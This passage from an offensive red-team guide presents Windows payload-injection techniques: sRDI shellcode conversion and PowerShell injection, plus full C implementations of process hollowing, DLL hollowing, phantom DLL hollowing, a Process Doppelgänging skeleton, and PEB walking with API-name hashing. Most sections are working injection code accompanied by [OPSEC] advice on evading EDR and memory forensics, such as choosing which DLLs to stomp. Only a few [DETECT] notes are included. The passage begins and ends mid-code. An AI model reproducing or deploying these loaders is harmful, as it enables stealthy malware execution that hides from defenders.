    for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++) {
        if (sections[i].SizeOfRawData) {
            memcpy(
                (BYTE*)newBase + sections[i].VirtualAddress,
                (BYTE*)uiLibraryAddress + sections[i].PointerToRawData,
                sections[i].SizeOfRawData
            );
        }
    }

    // Step 7: Fix relocations (same as manual map — see §4.3)
    // ... (relocation code here — same as fix_relocations() in §4.3)

    // Step 8: Fix imports (same as manual map but using fnLoadLibraryA)
    // ... (IAT resolution code here — using fnLoadLibraryA, fnGetProcAddress)

    // Step 9: Call DllMain
    PIMAGE_NT_HEADERS newNt = (PIMAGE_NT_HEADERS)(
        (BYTE*)newBase + ((PIMAGE_DOS_HEADER)newBase)->e_lfanew
    );
    typedef BOOL(WINAPI* DllMain_t)(HINSTANCE, DWORD, LPVOID);
    DllMain_t dllMain = (DllMain_t)(
        (BYTE*)newBase + newNt->OptionalHeader.AddressOfEntryPoint
    );
    dllMain((HINSTANCE)newBase, DLL_PROCESS_ATTACH, NULL);

    return (ULONG_PTR)newBase;
}

[OPSEC] Key insight: The ReflectiveLoader uses PEB walking to find kernel32.dll and resolve VirtualAlloc/LoadLibraryA — it cannot have any imports in its .idata section because those are not resolved yet when it first runs.


6. sRDI — Shellcode Reflective DLL Injection

What it means: sRDI (by monoxgas) extends Stephen Fewer's RDI to convert any DLL — even ones not compiled with a ReflectiveLoader export — into pure position-independent shellcode. The result is a standalone shellcode blob that loads the DLL from within itself. No need to modify the DLL source code.

6.1 sRDI Architecture

sRDI Blob Layout:
┌───────────────────────────────────────┐
│  Bootstrap shellcode (tiny)           │  → jumps to DLL Loader
│  (position-independent, no imports)   │
├───────────────────────────────────────┤
│  sRDI DLL Loader (ShellcodeRDI.dll    │  → the actual PE loader as shellcode
│   compiled as PIC shellcode)          │
├───────────────────────────────────────┤
│  Target DLL (raw bytes)               │  → the DLL to be loaded
├───────────────────────────────────────┤
│  User data (optional extra payload)   │  → passed to DLL's exported function
└───────────────────────────────────────┘

Flow:
  Shellcode blob injected into memory
       ↓
  Bootstrap runs → calls DLL Loader
       ↓
  DLL Loader finds embedded DLL bytes (offset arithmetic)
       ↓
  DLL Loader manually maps the embedded DLL
       ↓
  DLL Loader resolves imports (PEB walk)
       ↓
  DLL Loader calls DllMain (or a named export)
       ↓
  User data passed to the export function

6.2 Installation and Usage

# ─── Clone and build sRDI ──────────────────────────────────────
git clone https://github.com/monoxgas/sRDI
cd sRDI

# Build ShellcodeRDI (the PE loader compiled as shellcode)
# Requires Visual Studio / MSVC build tools
# Open ShellcodeRDI.sln → Build → Release x64
# OR use the prebuilt bins/ directory

# ─── Python: Convert any DLL to shellcode ─────────────────────
cd sRDI/Python
python3 ShellcodeRDI.py

# Basic conversion: DLL → shellcode blob
python3 ConvertToShellcode.py TestDLL_x64.dll
# → Outputs: TestDLL_x64.bin (self-loading shellcode blob)

# With specific function call and optional user data
python3 ConvertToShellcode.py TestDLL_x64.dll \
    --function RunAsShellcode \       # Export to call after DllMain
    --parameter "10.10.10.10:4444"    # String passed as user data
# → TestDLL_x64.bin (calls RunAsShellcode("10.10.10.10:4444") after load)

# ─── Python API usage ─────────────────────────────────────────
from ShellcodeRDI import *

dll_data = open("beacon.dll", "rb").read()

# Convert with flags
shellcode = ConvertToShellcode(
    dll_data,
    functionName="",      # Optional: specific export to call
    userData=b"",         # Optional: data passed to the function
    flags=0               # 0x1 = clear DLL headers after load
                          # 0x2 = store user data in .data section
)

# Write shellcode blob
open("beacon.bin", "wb").write(shellcode)
print(f"[+] Shellcode size: {len(shellcode)} bytes")

# ─── PowerShell: Convert + inject ────────────────────────────
Import-Module .\PowerShell\ConvertTo-Shellcode.ps1
Import-Module PowerSploit\CodeExecution\Invoke-Shellcode.ps1

# Convert DLL to shellcode
$shellcode = ConvertTo-Shellcode -File ".\TestDLL_x64.dll"

# Inject into current process (self-inject)
Invoke-Shellcode -Shellcode $shellcode

# Or: inject into remote process by PID
Invoke-Shellcode -Shellcode $shellcode -ProcessID 1234

6.3 Encode sRDI Blobs for Static Embedding

# Encode all sRDI blobs (hardcodes them into loader source files)
cd sRDI
python lib/Python/EncodeBlobs.py C:\path\to\sRDI

# Updates these files with the encoded blobs:
# [+] Updated Native/Loader.cpp      → C/C++ embedded array
# [+] Updated DotNet/Program.cs      → C# byte array
# [+] Updated Python/ShellcodeRDI.py → Python bytes
# [+] Updated PowerShell/ConvertTo-Shellcode.ps1 → PS base64

6.4 C# .NET Loader

// DotNetLoader.cs — Load sRDI converted DLL from C#
using System;
using System.IO;
using System.Runtime.InteropServices;

class DotNetLoader {
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize,
                                       uint flAllocationType, uint flProtect);
    [DllImport("kernel32.dll")]
    static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize,
                                       IntPtr lpStartAddress, IntPtr lpParameter,
                                       uint dwCreationFlags, out uint lpThreadId);
    [DllImport("kernel32.dll")]
    static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);

    static void Main(string[] args) {
        // Read sRDI converted shellcode blob
        byte[] shellcode = File.ReadAllBytes(args[0]);

        // Allocate memory
        IntPtr mem = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length,
                                   0x3000, 0x40);  // MEM_COMMIT|RESERVE, RWX

        // Copy shellcode
        Marshal.Copy(shellcode, 0, mem, shellcode.Length);

        // Execute in new thread
        uint tid;
        IntPtr hThread = CreateThread(IntPtr.Zero, 0, mem,
                                       IntPtr.Zero, 0, out tid);
        WaitForSingleObject(hThread, 0xFFFFFFFF);

        Console.WriteLine("[+] sRDI execution complete");
    }
}

7. Process Hollowing (RunPE)

What it means: Create a legitimate process in a suspended state (e.g., svchost.exe), unmap its original code from memory using NtUnmapViewOfSection, then inject your own PE in its place. Resume the process — your payload runs under the trusted process's identity (PID, name, parent, token).

7.1 The 8-API-Call Attack Chain

Process Hollowing API sequence:
  1. CreateProcess(..., CREATE_SUSPENDED)   → Start notepad.exe suspended
  2. ZwUnmapViewOfSection(remote, base)     → Hollow out notepad's code
  3. VirtualAllocEx(remote, preferred_base) → Allocate space for payload
  4. WriteProcessMemory(remote, headers)    → Write PE headers
  5. WriteProcessMemory(remote, sections)   → Write each section
  6. VirtualProtectEx(remote, ...)          → Set proper RX/RW permissions
  7. GetThreadContext → SetThreadContext    → Redirect EIP/RIP to payload
  8. ResumeThread                           → Execute payload as svchost.exe

7.2 Full Process Hollowing Implementation (C)

// process_hollow.c — RunPE / Process Hollowing
#include <windows.h>
#include <stdio.h>

// NtUnmapViewOfSection signature (ntdll.dll)
typedef NTSTATUS(WINAPI* pNtUnmapViewOfSection)(HANDLE, PVOID);

BOOL hollow_process(const char* targetExe, BYTE* payloadPE) {
    // ─── Step 1: Create target process in suspended state ────────
    STARTUPINFOA si = { sizeof(si) };
    PROCESS_INFORMATION pi = {0};

    BOOL created = CreateProcessA(
        targetExe,          // Path to legitimate exe (e.g., notepad.exe)
        NULL, NULL, NULL,
        FALSE,
        CREATE_SUSPENDED,   // START SUSPENDED — don't let it run yet
        NULL, NULL,
        &si, &pi
    );

    if (!created) {
        printf("[-] CreateProcess failed: %lu\n", GetLastError());
        return FALSE;
    }

    printf("[+] Spawned suspended process: %s (PID: %lu)\n",
           targetExe, pi.dwProcessId);

    // ─── Parse the payload PE headers ────────────────────────────
    PIMAGE_DOS_HEADER payDos = (PIMAGE_DOS_HEADER)payloadPE;
    PIMAGE_NT_HEADERS payNt  = (PIMAGE_NT_HEADERS)(payloadPE + payDos->e_lfanew);
    DWORD   sizeOfImage      = payNt->OptionalHeader.SizeOfImage;
    LPVOID  preferredBase    = (LPVOID)payNt->OptionalHeader.ImageBase;

    // ─── Get current thread context (to find image base of target) ─
    CONTEXT ctx = {0};
    ctx.ContextFlags = CONTEXT_ALL;
    GetThreadContext(pi.hThread, &ctx);

    // On x64: RDX = PEB address (set by Windows before process starts)
    // PEB.ImageBaseAddress is at PEB offset 0x10
    PVOID remoteImageBase = NULL;
    ReadProcessMemory(pi.hProcess,
                      (LPVOID)(ctx.Rdx + 0x10),  // PEB.ImageBaseAddress
                      &remoteImageBase, sizeof(PVOID), NULL);
    printf("[+] Remote image base (original): 0x%p\n", remoteImageBase);

    // ─── Step 2: Unmap the original executable ───────────────────
    pNtUnmapViewOfSection NtUnmapViewOfSection =
        (pNtUnmapViewOfSection)GetProcAddress(
            GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection"
        );

    NTSTATUS status = NtUnmapViewOfSection(pi.hProcess, remoteImageBase);
    if (status != 0) {
        printf("[-] NtUnmapViewOfSection failed: 0x%08X\n", status);
        // Fallback: many implementations skip this and just overwrite
    }
    printf("[+] Original executable unmapped from remote process\n");

    // ─── Step 3: Allocate memory in remote process ───────────────
    LPVOID remoteBase = VirtualAllocEx(
        pi.hProcess,
        preferredBase,      // Try to load at PE's preferred base
        sizeOfImage,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );

    if (!remoteBase) {
        // Preferred base failed — let OS decide
        remoteBase = VirtualAllocEx(pi.hProcess, NULL, sizeOfImage,
                                     MEM_COMMIT | MEM_RESERVE,
                                     PAGE_EXECUTE_READWRITE);
    }

    printf("[+] Allocated remote memory at: 0x%p\n", remoteBase);

    // ─── Step 4: Write PE headers ─────────────────────────────────
    WriteProcessMemory(pi.hProcess, remoteBase, payloadPE,
                       payNt->OptionalHeader.SizeOfHeaders, NULL);

    // ─── Step 5: Write each section ──────────────────────────────
    PIMAGE_SECTION_HEADER sections = IMAGE_FIRST_SECTION(payNt);
    for (WORD i = 0; i < payNt->FileHeader.NumberOfSections; i++) {
        if (sections[i].SizeOfRawData == 0) continue;

        LPVOID remoteSectionAddr = (BYTE*)remoteBase + sections[i].VirtualAddress;
        BYTE*  localSectionData  = payloadPE + sections[i].PointerToRawData;

        WriteProcessMemory(pi.hProcess, remoteSectionAddr,
                           localSectionData, sections[i].SizeOfRawData, NULL);

        printf("[+] Wrote section [%.8s] → remote 0x%p\n",
               sections[i].Name, remoteSectionAddr);
    }

    // ─── Step 6: Fix relocations if base changed ──────────────────
    if (remoteBase != preferredBase) {
        printf("[*] Base mismatch — relocation fixup needed in remote process\n");
        // For full implementation, read back each reloc block,
        // patch it, write it back — or patch before writing sections
        // (easier: patch in local copy of PE before WriteProcessMemory)
    }

    // ─── Step 7: Update PEB.ImageBaseAddress + redirect thread ───
    // Update PEB to reflect new image base
    WriteProcessMemory(pi.hProcess,
                       (BYTE*)ctx.Rdx + 0x10,   // PEB.ImageBaseAddress
                       &remoteBase, sizeof(PVOID), NULL);

    // Redirect RIP to payload entry point
    DWORD entryRVA      = payNt->OptionalHeader.AddressOfEntryPoint;
    LPVOID remoteEntry  = (BYTE*)remoteBase + entryRVA;

    ctx.Rcx = (DWORD64)remoteEntry;  // x64: RCX = entry point in thread context
    SetThreadContext(pi.hThread, &ctx);

    printf("[+] Redirected execution to: 0x%p (entry RVA: 0x%08X)\n",
           remoteEntry, entryRVA);

    // ─── Step 8: Resume thread ────────────────────────────────────
    ResumeThread(pi.hThread);
    printf("[+] Process hollowing complete — payload running as %s\n", targetExe);

    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    return TRUE;
}

7.3 OPSEC Notes for Process Hollowing

[OPSEC] Advantages:
  ✅ Payload runs under legitimate process identity (notepad.exe, svchost.exe)
  ✅ Network connections attributed to trusted process
  ✅ PID belongs to a signed, trusted binary
  ✅ Works against many security tools that trust process identity

[DETECT] Detection signatures:
  - CREATE_SUSPENDED → NtUnmapViewOfSection → VirtualAllocEx sequence (Sysmon)
  - Process starts with no matching disk image (memory section ≠ file)
  - PEB.ImageBaseAddress ≠ section base address
  - GetThreadContext + SetThreadContext on a suspended process (Sysmon EventID 10)
  - PE header at VirtualAllocEx region points to different PE than on disk

[OPSEC] Modern variant — use NtCreateSection/NtMapViewOfSection:
  // Some EDRs don't hook NtCreateSection the same way as VirtualAllocEx
  // REMCOS RAT (2024) documented using ZwCreateSection + ZwMapViewOfSection
  // instead of VirtualAllocEx + WriteProcessMemory

8. DLL Hollowing (Module Stomping)

What it means: Instead of allocating new anonymous memory (which EDRs flag as "executable memory not backed by a file on disk"), load a legitimate DLL into the target process, then overwrite its .text section with your shellcode. Your payload now executes from within file-backed memory — the best kind of memory to hide in.

8.1 Why DLL Hollowing Beats RWX Memory

Standard Shellcode Injection:
  ─ VirtualAlloc → RWX memory region
  ─ Region is "private anonymous" (not backed by any file)
  ─ EDR memory scanner: "Executable private memory? Suspicious!"
  ─ Volatility malfind: "Private RWX region — malware artifact"

DLL Hollowing (Module Stomping):
  ─ LoadLibraryEx → maps legitimate_dll.dll (e.g., clrjit.dll)
  ─ Write shellcode into .text section of clrjit.dll in memory
  ─ Memory region: file-backed (clrjit.dll on disk)
  ─ EDR memory scanner: "Mapped clrjit.dll — legitimate"
  ─ Volatility: region backed by file → not flagged by default
  ─ Caveat: if EDR hashes .text content vs. on-disk file → detected

8.2 DLL Hollowing via Module Stomping (C)

// dll_hollow.c — Overwrite a legitimate DLL's .text section
// Target: pick a DLL that won't be loaded already, has large enough .text
// Good candidates: clrjit.dll, mscoree.dll, aadauthhelper.dll, urlmon.dll

#include <windows.h>
#include <stdio.h>

BOOL dll_hollow(const char* targetDll, BYTE* shellcode, SIZE_T scSize) {
    // Step 1: Load the target DLL WITHOUT running its DllMain
    // LOAD_LIBRARY_AS_IMAGE_RESOURCE: map as image, no code execution
    // DONT_RESOLVE_DLL_REFERENCES: don't resolve imports (we don't want it to run)

    HMODULE hDll = LoadLibraryExA(
        targetDll,
        NULL,
        DONT_RESOLVE_DLL_REFERENCES  // Load but DON'T execute DllMain
    );

    if (!hDll) {
        printf("[-] Failed to load %s: %lu\n", targetDll, GetLastError());
        return FALSE;
    }

    printf("[+] Loaded %s at base: 0x%p\n", targetDll, hDll);

    // Step 2: Parse the DLL's PE headers (already mapped in memory)
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)hDll;
    PIMAGE_NT_HEADERS nt  = (PIMAGE_NT_HEADERS)((BYTE*)hDll + dos->e_lfanew);

    // Find the .text section (executable code section)
    PIMAGE_SECTION_HEADER textSection = NULL;
    PIMAGE_SECTION_HEADER sections    = IMAGE_FIRST_SECTION(nt);

    for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++) {
        if (memcmp(sections[i].Name, ".text", 5) == 0) {
            textSection = &sections[i];
            break;
        }
    }

    if (!textSection) {
        printf("[-] No .text section found in %s\n", targetDll);
        return FALSE;
    }

    SIZE_T textSize = textSection->Misc.VirtualSize;
    BYTE* textAddr  = (BYTE*)hDll + textSection->VirtualAddress;

    printf("[+] .text section: 0x%p, size: %zu\n", textAddr, textSize);

    if (scSize > textSize) {
        printf("[-] Shellcode (%zu bytes) too large for .text (%zu bytes)!\n",
               scSize, textSize);
        return FALSE;
    }

    // Step 3: Change .text section permissions from RX → RW
    DWORD oldProtect;
    VirtualProtect(textAddr, scSize, PAGE_READWRITE, &oldProtect);

    // Step 4: Overwrite .text section with shellcode
    memcpy(textAddr, shellcode, scSize);

    // Step 5: Restore permissions to RX (executable, not writable)
    DWORD dummy;
    VirtualProtect(textAddr, scSize, PAGE_EXECUTE_READ, &dummy);

    printf("[+] Shellcode written to .text section of %s\n", targetDll);

    // Step 6: Execute shellcode from .text section
    // Option A: Direct function call (if in same process)
    ((void(*)())textAddr)();

    // Option B: Create thread at stomped section
    // HANDLE hThread = CreateThread(NULL, 0,
    //     (LPTHREAD_START_ROUTINE)textAddr, NULL, 0, NULL);
    // WaitForSingleObject(hThread, INFINITE);

    return TRUE;
}

int main() {
    // Example shellcode (NOP sled + INT3 for testing)
    BYTE shellcode[] = { 0x90, 0x90, 0x90, 0xCC };  // NOP NOP NOP INT3

    // Use a DLL that's not loaded yet (check: tasklist /m | grep target)
    // Good candidates (typically not auto-loaded):
    //  - clrjit.dll (CLR JIT compiler — huge .text section)
    //  - aadauthhelper.dll
    //  - urlmon.dll (if not browsing)

    dll_hollow("C:\\Windows\\System32\\clrjit.dll",
               shellcode, sizeof(shellcode));
    return 0;
}

8.3 Choosing the Right Target DLL

Good DLL Hollowing Targets:
  DLL                    .text Size   Notes
  ─────────────────────────────────────────────────────────────
  clrjit.dll             ~5MB         .NET JIT compiler, rarely auto-loaded
  mscoree.dll            ~500KB       .NET runtime, large .text
  aadauthhelper.dll      ~400KB       Azure AD helper, very rarely loaded
  urlmon.dll             ~1MB         URL Moniker, not loaded in many processes
  wintrust.dll           ~200KB       Code signing, not always loaded
  cryptsp.dll            ~100KB       Crypto provider

Bad DLL Hollowing Targets (avoid):
  ntdll.dll         → Loaded in EVERY process, EDR heavily monitors
  kernel32.dll      → Same, every process
  user32.dll        → Commonly loaded
  any already-loaded DLL in target process → Overwriting active code = crash

[OPSEC] Check before use:
  tasklist /m target_process.exe         → See which DLLs are already loaded
  Process Explorer → Modules tab         → Verify target DLL not already there

9. Phantom DLL Hollowing

What it means: DLL Hollowing's weakness is that the DLL exists on disk — forensics can compare memory content vs. file content. Phantom DLL Hollowing (by Forrest Orr, CyberArk 2020) uses NTFS Transacted File Operations to create a virtual DLL that exists in a transaction but is never committed to disk. The section created from it is backed by this phantom file, so memory forensics sees a file-backed region — but the file doesn't exist on disk.

9.1 Phantom DLL Hollowing vs DLL Hollowing

                     DLL Hollowing         Phantom DLL Hollowing
─────────────────────────────────────────────────────────────────
DLL on disk?         Yes (real file)       No (transacted, rolled back)
Section backed by?   Real file on disk     Phantom NTFS transaction
Memory type?         File-backed (MR)      File-backed (MR) — but no file!
EDR memory scan?     Sees legitimate DLL   Sees "file-backed" memory
Forensics check?     File:Mem mismatch     File doesn't exist — can't compare
Detection via file?  Yes, compare hashes   No, file was rolled back/never exists

9.2 NTFS Transaction API Overview

// Phantom DLL Hollowing uses NTFS transaction APIs (KTM - Kernel Transaction Manager)
// These create file operations that can be rolled back

// Key APIs:
// NtCreateTransaction()         → Create a filesystem transaction
// NtCreateFile(txn)             → Create a file in the context of the transaction
// NtWriteFile(txn)              → Write data to the transacted file
// NtCreateSection(txn)          → Create a section from the transacted file
// NtMapViewOfSection()          → Map the section into a process
// NtRollbackTransaction()       → Roll back → file never exists on disk

// Result: memory is backed by the phantom section (looks legitimate)
// but the file was never committed to disk

9.3 Phantom DLL Hollowing Implementation

// phantom_hollow.c — Simplified Phantom DLL Hollowing
// PoC based on Forrest Orr's research (CyberArk, 2020)
// Full PoC: https://github.com/forrest-orr/phantom-dll-hollower-poc

#include <windows.h>
#include <winternl.h>
#include <stdio.h>

// NtAPI typedefs (from ntdll, not in windows.h)
typedef NTSTATUS(NTAPI* pNtCreateTransaction)(
    PHANDLE TransactionHandle, ACCESS_MASK DesiredAccess,
    POBJECT_ATTRIBUTES ObjAttr, LPGUID Uow, HANDLE TmHandle,
    ULONG CreateOptions, ULONG IsolationLevel,
    ULONG IsolationFlags, PLARGE_INTEGER Timeout,
    PUNICODE_STRING Description
);
typedef NTSTATUS(NTAPI* pNtRollbackTransaction)(HANDLE, BOOLEAN);
typedef HANDLE  (WINAPI* pCreateFileTransacted)(
    LPCSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD,
    HANDLE, HANDLE, PUSHORT, PVOID
);

BOOL phantom_hollow(BYTE* shellcode, SIZE_T scSize) {
    HMODULE hNtdll   = GetModuleHandleA("ntdll.dll");
    HMODULE hKtmW32  = LoadLibraryA("KtmW32.dll");

    // Resolve NtAPI functions
    pNtCreateTransaction  NtCreateTransaction =
        (pNtCreateTransaction) GetProcAddress(hNtdll, "NtCreateTransaction");
    pNtRollbackTransaction NtRollbackTransaction =
        (pNtRollbackTransaction) GetProcAddress(hNtdll, "NtRollbackTransaction");
    pCreateFileTransacted CreateFileTransacted =
        (pCreateFileTransacted) GetProcAddress(GetModuleHandleA("kernel32.dll"),
                                               "CreateFileTransactedA");

    // Step 1: Create a filesystem transaction (KTM)
    HANDLE hTransaction = NULL;
    NtCreateTransaction(&hTransaction,
                        TRANSACTION_ALL_ACCESS,
                        NULL, NULL, NULL, 0, 0, 0, NULL, NULL);

    printf("[+] Created NTFS transaction: 0x%p\n", hTransaction);

    // Step 2: Create a file WITHIN the transaction
    // This file will contain our malicious DLL bytes but never touch disk
    HANDLE hFile = CreateFileTransacted(
        "C:\\Windows\\System32\\phantom_target.dll",  // Path (won't actually exist)
        GENERIC_WRITE | GENERIC_READ,
        0, NULL,
        CREATE_ALWAYS,
        FILE_ATTRIBUTE_NORMAL,
        NULL,
        hTransaction,  // ← KEY: file is part of the transaction
        NULL, NULL
    );

    // Step 3: Write a legitimate-looking DLL (or shellcode blob) to the transacted file
    // In a real attack: write a DLL that contains your shellcode in its .text section
    DWORD written;
    WriteFile(hFile, shellcode, (DWORD)scSize, &written, NULL);
    printf("[+] Wrote %d bytes to transacted file\n", written);

    // Step 4: Create a section from the transacted file
    HANDLE hSection = NULL;
    LARGE_INTEGER maxSize = {0};
    maxSize.QuadPart = scSize;

    typedef NTSTATUS(NTAPI* pNtCreateSection)(
        PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES,
        PLARGE_INTEGER, ULONG, ULONG, HANDLE
    );
    pNtCreateSection NtCreateSection =
        (pNtCreateSection)GetProcAddress(hNtdll, "NtCreateSection");

    NtCreateSection(&hSection,
                    SECTION_ALL_ACCESS,
                    NULL,
                    &maxSize,
                    PAGE_EXECUTE_READWRITE,
                    SEC_IMAGE,          // SEC_IMAGE = treat as PE image
                    hFile);

    printf("[+] Created section from transacted file: 0x%p\n", hSection);

    // Step 5: Roll back the transaction → file NEVER commits to disk!
    NtRollbackTransaction(hTransaction, TRUE);
    CloseHandle(hTransaction);
    printf("[+] Transaction rolled back — file never hit disk!\n");

    // Step 6: Map the section into current (or remote) process
    // The section still exists even though the transaction was rolled back
    // (the section was created from the file before rollback)
    PVOID baseAddr = NULL;
    SIZE_T viewSize = 0;

    typedef NTSTATUS(NTAPI* pNtMapViewOfSection)(
        HANDLE, HANDLE, PVOID*, ULONG_PTR, SIZE_T,
        PLARGE_INTEGER, PSIZE_T, ULONG, ULONG, ULONG
    );
    pNtMapViewOfSection NtMapViewOfSection =
        (pNtMapViewOfSection)GetProcAddress(hNtdll, "NtMapViewOfSection");

    NtMapViewOfSection(hSection,
                       GetCurrentProcess(),
                       &baseAddr,
                       0, 0, NULL,
                       &viewSize,
                       2,       // ViewUnmap
                       0,
                       PAGE_EXECUTE_READWRITE);

    printf("[+] Mapped phantom section at: 0x%p\n", baseAddr);
    printf("[+] Memory is 'file-backed' but file doesn't exist on disk!\n");

    // Step 7: Execute from phantom section
    ((void(*)())baseAddr)();

    CloseHandle(hFile);
    CloseHandle(hSection);
    return TRUE;
}

[DETECT] Detection gap: Phantom DLL Hollowing exploits the fact that most memory forensics tools only check if memory is "file-backed" — not if the file still exists on disk. Tools like Moneta and pe-sieve can detect the discrepancy between in-memory content and on-disk file content.


10. Process Doppelgänging

What it means: Introduced at Black Hat Europe 2017, Process Doppelgänging uses NTFS Transactions to create a "phantom process" — start an executable whose image is loaded from a transacted (never-committed) file. Windows process creation APIs are designed to use the kernel's own image loading, so the resulting process inherits all the legitimacy markers of a real process, but runs a completely different PE.

10.1 Doppelgänging vs. Hollowing

Process Hollowing:
  Real process created → original image loaded → unmapped → replaced
  Problem: initial image load artifacts, NtUnmapViewOfSection visible

Process Doppelgänging:
  No real process ever runs — directly create process from transacted image
  The process is born running the malicious image
  No "unmap + replace" step → cleaner creation artifacts

Steps:
  1. Open a transaction (KTM)
  2. Create/open a legitimate .exe within the transaction
  3. Overwrite it with malicious PE bytes (in transaction only)
  4. Create a section from the transacted file (NtCreateSection + SEC_IMAGE)
  5. Create a process from the section (NtCreateProcessEx)
  6. Set up initial thread context (entry point, PEB, stack)
  7. Rollback transaction — malicious file never hits disk
  8. Create thread and resume

10.2 Doppelgänging Code Skeleton

// doppelganging_skeleton.c — High-level flow
// Note: Full implementation requires undocumented NtCreateProcessEx
// Reference: github.com/hasherezade/process_doppelganging

#include <windows.h>
#include <winternl.h>

typedef NTSTATUS(NTAPI* pNtCreateProcessEx)(
    PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes, HANDLE ParentProcess,
    ULONG Flags, HANDLE SectionHandle,
    HANDLE DebugPort, HANDLE ExceptionPort, BOOLEAN InJob
);

BOOL doppelgang(const char* legitimateExePath, BYTE* maliciousPE) {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");

    // Step 1: Create NTFS transaction
    HANDLE hTxn = NULL;
    // (Same NtCreateTransaction as in phantom hollow)

    // Step 2: Open legitimate exe inside transaction
    HANDLE hFile = CreateFileTransactedA(
        legitimateExePath,       // e.g., "C:\\Windows\\System32\\notepad.exe"
        GENERIC_WRITE | GENERIC_READ | SYNCHRONIZE,
        0, NULL, OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        NULL, hTxn, NULL, NULL
    );

    // Step 3: Overwrite file with malicious PE (still within transaction)
    DWORD written;
    SetFilePointer(hFile, 0, NULL, FILE_BEGIN);
    WriteFile(hFile, maliciousPE, maliciousPESize, &written, NULL);

    // Step 4: Create section from modified transacted file
    HANDLE hSection = NULL;
    pNtCreateSection NtCreateSection =
        (pNtCreateSection)GetProcAddress(hNtdll, "NtCreateSection");
    NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, NULL,
                    PAGE_READONLY, SEC_IMAGE, hFile);

    // Step 5: Rollback transaction → malicious file never persists on disk
    // (But section remains valid — it was created before rollback)
    pNtRollbackTransaction NtRollbackTransaction =
        (pNtRollbackTransaction)GetProcAddress(hNtdll, "NtRollbackTransaction");
    NtRollbackTransaction(hTxn, TRUE);
    CloseHandle(hTxn);

    // Step 6: Create process from the section (not from file!)
    HANDLE hProcess = NULL;
    pNtCreateProcessEx NtCreateProcessEx =
        (pNtCreateProcessEx)GetProcAddress(hNtdll, "NtCreateProcessEx");
    NtCreateProcessEx(&hProcess,
                      PROCESS_ALL_ACCESS,
                      NULL,
                      GetCurrentProcess(),  // Parent process
                      0x4,                  // Inherit handles flag
                      hSection,             // ← The key: section from phantom file
                      NULL, NULL, FALSE);

    // Step 7: Set up thread, redirect execution (similar to process hollowing)
    // (Requires RTL_USER_PROCESS_PARAMETERS setup, PEB initialization, etc.)

    // Step 8: Create thread and execute
    HANDLE hThread = NULL;
    // NtCreateThreadEx(&hThread, ...) for newer OS

    printf("[+] Doppelgänging complete — payload runs as %s\n", legitimateExePath);
    return TRUE;
}

[DETECT] Detection notes: Windows Defender and many EDRs now detect Process Doppelgänging. Key signatures: NtCreateTransaction + CreateFileTransacted + NtCreateSection(SEC_IMAGE) + NtRollbackTransaction in sequence. PatchGuard in kernel mode also limits what KTM-based techniques can do on modern Windows 11.


11. PEB Walking — Finding APIs Without Imports

What it means: Reflective loaders (especially ReflectiveLoader) cannot have any imports — their IAT isn't resolved yet. To bootstrap themselves, they must find kernel32.dll and ntdll.dll functions by manually walking the Process Environment Block (PEB) module list and parsing export tables. This is also a general anti-detection technique (avoids having obvious API imports).

11.1 PEB Walk (x64 — C)

// peb_walk.c — Find module bases and resolve exports without GetProcAddress

#include <windows.h>
#include <stdint.h>
#include <string.h>

// Hash a function name to avoid storing plaintext strings (anti-YARA)
DWORD hash_string(const char* str) {
    DWORD hash = 0xDEADBEEF;
    while (*str) {
        hash = ((hash << 5) | (hash >> 27)) ^ *str++;
    }
    return hash;
}

// Walk the PEB to find a module base by its DLL name hash
HMODULE peb_find_module(const wchar_t* targetName) {
#ifdef _WIN64
    // On x64: GS segment register offset 0x60 = PEB address
    PPEB peb = (PPEB)__readgsqword(0x60);
#else
    // On x86: FS segment register offset 0x30 = PEB address
    PPEB peb = (PPEB)__readfsdword(0x30);
#endif

    // Walk the InLoadOrderModuleList
    PLIST_ENTRY head = &peb->Ldr->InLoadOrderModuleList;
    PLIST_ENTRY curr = head->Flink;

    while (curr != head) {
        LDR_DATA_TABLE_ENTRY* entry =
            CONTAINING_RECORD(curr, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);

        if (entry->BaseDllName.Buffer != NULL) {
            // Case-insensitive compare
            if (_wcsicmp(entry->BaseDllName.Buffer, targetName) == 0) {
                return (HMODULE)entry->DllBase;
            }
        }
        curr = curr->Flink;
    }
    return NULL;
}

// Find a function export by name from a module (manual GetProcAddress)
FARPROC manual_get_proc(HMODULE hModule, const char* funcName) {
    if (!hModule) return NULL;

    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)hModule;
    PIMAGE_NT_HEADERS nt  = (PIMAGE_NT_HEADERS)((BYTE*)hModule + dos->e_lfanew);

    DWORD exportRVA = nt->OptionalHeader
                        .DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]
                        .VirtualAddress;
    if (!exportRVA) return NULL;

    PIMAGE_EXPORT_DIRECTORY exp =
        (PIMAGE_EXPORT_DIRECTORY)((BYTE*)hModule + exportRVA);

    DWORD* names    = (DWORD*)((BYTE*)hModule + exp->AddressOfNames);
    WORD*  ordinals = (WORD*) ((BYTE*)hModule + exp->AddressOfNameOrdinals);
    DWORD* funcs    = (DWORD*)((BYTE*)hModule + exp->AddressOfFunctions);

    for (DWORD i = 0; i < exp->NumberOfNames; i++) {
        char* name = (char*)((BYTE*)hModule + names[i]);
        if (strcmp(name, funcName) == 0) {
            return (FARPROC)((BYTE*)hModule + funcs[ordinals[i]]);
        }
    }
    return NULL;
}

// ─── Usage Example ──────────────────────────────────────────────
void demo_peb_walk() {
    // Find kernel32.dll without LoadLibrary
